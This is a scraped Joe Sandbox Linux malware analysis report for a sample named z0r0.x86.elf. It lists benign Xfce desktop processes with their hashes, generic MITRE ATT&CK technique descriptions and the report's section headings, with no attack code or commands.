Start date (UTC):	04/02/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	17:17:35
Start date (UTC):	04/02/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	17:17:39
Start date (UTC):	04/02/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	-
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	17:17:39
Start date (UTC):	04/02/2025
Path:	/usr/sbin/xfpm-power-backlight-helper
Arguments:	/usr/sbin/xfpm-power-backlight-helper --get-max-brightness
File size:	14656 bytes
MD5 hash:	3d221ad23f28ca3259f599b1664e2427

Start time (UTC):	17:17:35
Start date (UTC):	04/02/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	17:17:35
Start date (UTC):	04/02/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	17:17:35
Start date (UTC):	04/02/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	17:17:35
Start date (UTC):	04/02/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	17:17:39
Start date (UTC):	04/02/2025
Path:	/usr/bin/dbus-daemon
Arguments:	-
File size:	249032 bytes
MD5 hash:	3089d47e3f3ab84cd81c48fd406d7a8c

Start time (UTC):	17:17:39
Start date (UTC):	04/02/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd
File size:	112880 bytes
MD5 hash:	4c7a0d6d258bb970905b19b84abcd8e9

Start time (UTC):	17:17:42
Start date (UTC):	04/02/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time (UTC):	17:17:42
Start date (UTC):	04/02/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd
File size:	112872 bytes
MD5 hash:	eee956f1b227c1d5031f9c61223255d1

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report z0r0.x86.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: dash PID: 6221, Parent PID: 4341

General

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 6221, Parent PID: 4341

General

File Activities

File Opened

File Deleted

File Read

Chronological Activities

Analysis Process: dash PID: 6222, Parent PID: 4341

General

Linux Analysis Report
z0r0.x86.elf